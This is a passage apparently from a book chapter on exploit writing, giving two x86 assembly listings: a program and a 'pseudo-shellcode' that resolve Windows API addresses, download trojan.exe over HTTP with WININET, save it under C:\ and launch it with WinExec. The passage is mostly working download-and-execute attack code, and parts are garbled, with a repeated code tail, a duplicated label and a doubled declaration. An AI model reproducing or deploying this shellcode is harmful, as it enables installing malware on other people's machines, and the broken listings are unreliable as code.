    LPDWORD lpdwNumberOfBytesRead
);
```

```
>hFile          -handle returned by InternetOpenUrlA
>lpBuffer        -buffer, into which the downloaded content will be
                        written
>dwNumberOfBytesToRead -number of bytes to download
>lpdwNumberOfBytesRead -the function returns how many bytes have been
                        downloaded
```

Below is the code of a program that downloads and starts up the trojan.exe file (/CD/Chapter21/Listings/net.asm).

```

;-----
;net.asm – example, which downloads the file and executes it
;using the WININET function
;compilation:
;           tasm32 /w0 /m1 /m3 /mx net,,
;           tlink32 -Tpe -aa net,net,,import32.lib,,
;           PEWRSEC.COM net.exe
;-----

.586p                               ; standard directives
.model flat

extern ExitProcess:PROC               ; minimum one export
extern WinExec:PROC
extern _lcreat:PROC
extern _lwrite:PROC
extern _lclose:PROC
extern InternetReadFile:PROC
extern GlobalAlloc:PROC
extern InternetOpenUrlA:PROC
extern InternetOpen:PROC
extern InternetQueryDataAvailable:PROC

.data
db 'This is only so the compiler does not return an error similar to extern
ExitProcess',0

.code
start:
call delta                            ;the above code counts
delta:
pop ebp                               ;delta handle
                                       ;(offset correction)
sub ebp,offset delta                 ;in this case it should
                                       ;be zero
                                       ;for obvious reasons

HTTP_REQUEST equ "http://127.0.0.1/trojan.exe",0 ;address of the file that
                                       ;we will be downloading

        download_file:
        push 0                        ;flags
        push 0                        ;proxybypass
        push 0                        ;proxy name
        push 1 ;INTERNET_OPEN_TYPE_DIRECT ;type
        call upload_application_name

```

```

upload_application_name:

call InternetOpen
    mov ebx,eax                ;handle to the EBX register

    INTERNET_FLAG_RAW_DATA    equ 40000000h

    xor eax,eax
    push eax                   ;0
    push INTERNET_FLAG_RAW_DATA ;flag
    push eax                   ;0
    push eax                   ;0
    call request               ;our HTTP call
        db HTTP_REQUEST,0
    request:
    push ebx                   ;handle with InternetOpen
    call InternetOpenUrlA     ;make connection
    mov ebx,eax               ;EBX = handle

    push 0                    ;zero to stack
    push 0                    ;zero to stack
    lea esi,[ebp+_bytes]     ;ESI=pointer to the variable, to
                                ;which the number of bytes
                                ;will be written
                                ;transfer ESI as argument

    push esi
    push ebx
    call InternetQueryDataAvailable ;receive the number of bytes
    mov edx,dword ptr [ebp+_bytes] ;EDX = number of bytes

    mov eax,edx
    push edx                   ;save EDX
    inc eax
    push eax                   ;we reserve as much as
                                ;the size of the file trojan.exe+1 is
    push GMEM_ZEROINIT or GMEM_FIXED ;allocation type

    call GlobalAlloc           ;allocate memory for buffer
    mov edi,eax               ;EDI = handle to memory
    pop edx                   ;read EDX from stack

    push edx
    lea eax,[ebp+_byte_number]
    push eax                   ;variable, to which
                                ;the number of the downloaded bytes
                                ;is returned

    push edx                   ;number of bytes to download

    push edi                   ;EDI - pointer to
                                ;allocated memory
    push ebx                   ;handle returned by
                                ;InternetOpenUrlA
    call InternetReadFile     ;download trojan!
    push 4
    call file_name
    db "C:\FILE.exe",0      ;file name

```

```

file_name:
call _lcreat                ;create file FILE.EXE
mov ebx,eax                ;handle of the file created in EBX

push edi                    ;pointer to buffer (trojan)
push ebx                    ;EBX handle to file
call _lwrite                ;write trojan
push ebx                    ;file handle
call _lclose                ;close
push 2
call file_name1
db "C:\FILE.exe",0        ;file name
file_name1:
call WinExec                ;execute trojan code

exit:
push 0                      ; terminate the process
call ExitProcess

_byte_number                dd 0
_bytes                     dd 0
push ebx                    ;file handle
call _lclose                ;close

push 2
call file_name1
db "C:\FILE.exe",0        ;file name
file_name1:
call WinExec                ;execute trojan code

exit:
push 0                      ; terminate the process
call ExitProcess

_byte_number                dd 0
_bytes                     dd 0
end start

```

Putting the knowledge derived from this chapter together, we will now see what a pseudo-shellcode looks like that combines the mechanism of searching API addresses from the IAT with downloading and starting up a Trojan horse program ([/CD/Chapter21/Listings/snet.asm](#)):

```

;-----
--
;snet.asm - example of shellcode that searches for addresses of the
;API function from the import address table, downloads trojan from the site, and starts
it up.
;compilation:
;      tasm32 /w0 /m1 /m3 /mx snet,,
;      tlink32 -Tpe -aa snet,snet,,import32.lib,,
;      PEWRSEC.COM snet.exe

```



```

add eax,ebx                ;EAX=EBX+imagebase
add eax,2                 ;ESI = API name

cmp dword ptr [eax],'PteG' ;is
jne next_
cmp dword ptr [eax+4],'Acor' ;GetProcAddress this function?
jne next_                 ;if not, jump to label
mov eax,[edx]             ;EAX = GetProcAddress address
mov dword ptr [ebp+_GetProcAddress],eax ;write it to variable

jmp next_                 ;continue search

near_jump:

mov eax,[edx]             ;EAX = address of the API function
mov dword ptr [ebp+_LoadLibraryA],eax ;write it to variable

jmp next_                 ;jump to label next_

next_:
cmp dword ptr [eax],'daoL' ;is
jne next_

cmp dword ptr [eax+4],'rbiL' ;LoadLibraryA this function?
je near_jump             ;yes! Jump to label
;near_jump

next_:
add edx,4                 ;continue search
;increase EDX by 4
jmp loop_iat             ;search

exit_iat:
iat_size=$-offset iat_start

start_shellcode:
lea edx,[ebp+wininet]    ;EDX=address, under which
;WININET.DLL is located
lea esi,[ebp+_API]      ;ESI points to names of the
;API functions

obtain_library_address:
push edx                 ;to EDX stack (library name)
call dword ptr [ebp+_LoadLibraryA] ;map the given module to memory
;of the process
xchg ebx,eax            ;EBX = library handle

get_addr:
inc esi                 ;ESI = ESI + 1
push esi                ;upload to stack (NAME OF THE
;API FUNCTION)
push ebx                ;handle returned by
;LoadLibraryA

```

```

call dword ptr [ebp+_GetProcAddress]      ;call GetProcAddress
mov [esi],eax                             ;write it in the place where,
                                           ;where
                                           ;the API function name was located

to_null:
cmp byte ptr [esi+2],'Y'                  ;is this the last API function
je get_from_kernel                        ;from the WININET library?
inc esi                                    ;ESI = ESI + 1

cmp byte ptr [esi],0                      ;zero byte = character chain
                                           ;end

je get_addr                               ;jump to label get_addr
jmp to_null                               ;jump to label to_null

get_from_kernel:                          ;functions from KERNEL32.DLL
cmp byte ptr [ebp+temp],'Y'              ;is marker temp == 'Y'?
je download_file                          ;yes terminate searching
                                           ;i jump to label
                                           ; download_file

mov edi,ebx                               ;library handle to EDI

lea edx,[ebp+kernel]                     ;EDX=address of character chain
                                           ;"KERNEL32.DLL"
lea esi,[ebp+krnl]                       ;ESI=table with the name of API
                                           ;function
mov byte ptr [ebp+temp],'Y'              ;enter 'Y' to temp marker
jmp obtain_library_address                ;obtain function addresses

download_file:
push 0                                    ;flags
push 0                                    ;proxybypass
push 0                                    ;proxy name
push 1      ;INTERNET_OPEN_TYPE_DIRECT   ;type
@pushsz "e"                               ;application name
call dword ptr [ebp+_InternetOpen]        ;call InternetOpen
mov ebx,eax                               ;handle to the EBX register

INTERNET_FLAG_RAW_DATA equ 40000000h

xor eax,eax                               ;reset the EAX register
push eax                                  ;upload EAX (ZERO) to stack
push INTERNET_FLAG_RAW_DATA              ;flag
push eax                                  ;upload EAX (ZERO) to stack
push eax                                  ;upload EAX (ZERO) to stack
@pushsz HTTP_REQUEST                      ;our request
push ebx                                  ;EBX = handle with InternetOpen
call dword ptr [ebp+_InternetOpenUrl]    ; call the function
                                           ;InternetOpenUrl
                                           ;EBX = EAX = handle

push 0                                    ;zero to stack
push 0                                    ;zero to stack
lea esi,[ebp+_bytes]                     ;ESI=pointer to the variable,

```



```

;to which the number of bytes
;will be written

push esi ;ESI to stack
push ebx ;EBX (handle) to stack

call dword ptr [ebp+_InternetQueryDataAvailable] ;execute function
mov edx,dword ptr [ebp+_bytes] ;EDX = number of bytes

mov eax,edx ;EAX = EDX = number of bytes
push edx ;EDX to stack
inc eax ;EAX = EAX + 1
push eax ;also to stack
push GMEM_ZEROINIT or GMEM_FIXED ;attributes
call dword ptr [ebp+_GlobalAlloc] ;allocate memory
mov edi,eax ;EAX=EDI=address
;of the allocated memory
pop edx ;EDX=number of bytes to download
;from
;page

push edx ;to stack
lea eax,[ebp+_GetProcAddress]
push eax ;let's use the location from
;the previous variable

push edx ;EDX to stack
push edi ;EDI address of allocated memory
push ebx ;EBX to stack (handle)
call dword ptr [ebp+_InternetReadFile] ;read the file to
;the allocated memory
push 4 ;attributes
@pushsz "C:\PLIK.exe" ;name of file to be created
call dword ptr [ebp+_lcreat] ;create file
mov ebx,eax ;EBX = EAX = handle of the created
;file
push edi ;buffer (allocated) with trojan
push ebx ;handle
call dword ptr [ebp+_lwrite] ;write to file

push ebx ;EBX (handle) to stack
call dword ptr [ebp+_lclose] ;entry to file

push 2 ;attributes
@pushsz "C:\PLIK.exe" ;file name
call dword ptr [ebp+_WinExec] ;start up trojan [-;

exit: push 0 ;terminate
call ExitProcess ;program

_SPLOIT_DATA:
; DECLARATIONS OF VARIABLES

_GetProcAddress dd 0 ;BFF76DA8h
_LoadLibraryA dd 0 ;BFF776D0h
_bytes dd 0

```

```
_WIN_INET:
wininet          db "WININET.DLL",0
kernel          db "KERNEL32.DLL",0

to_wininet=$-offset _WIN_INET

_API:

temp            db 0
_InternetOpen   db "InternetOpenA",0
_InternetOpenUr db "InternetOpenUrlA",0
_InternetQueryDataAvailable db "InternetQueryDataAvailable",0
_InternetReadFile db "InternetReadFile",0,'Y'

krnl:

_GlobalAlloc    db 0
_GlobalAlloc    db "GlobalAlloc",0
_WinExec        db "WinExec",0
_lcreat         db "_lcreat",0
_lwrite         db "_lwrite",0
_lclose         db "_lclose",0
               db 'Y'

shellcode_size=$-offset start

end start
```

Below are the addresses of websites where you can obtain more information on this topic. We hope you will build upon the knowledge you have gained.

```
http://wheaty.net
http://29a.host.sk
http://msdn.microsoft.com
```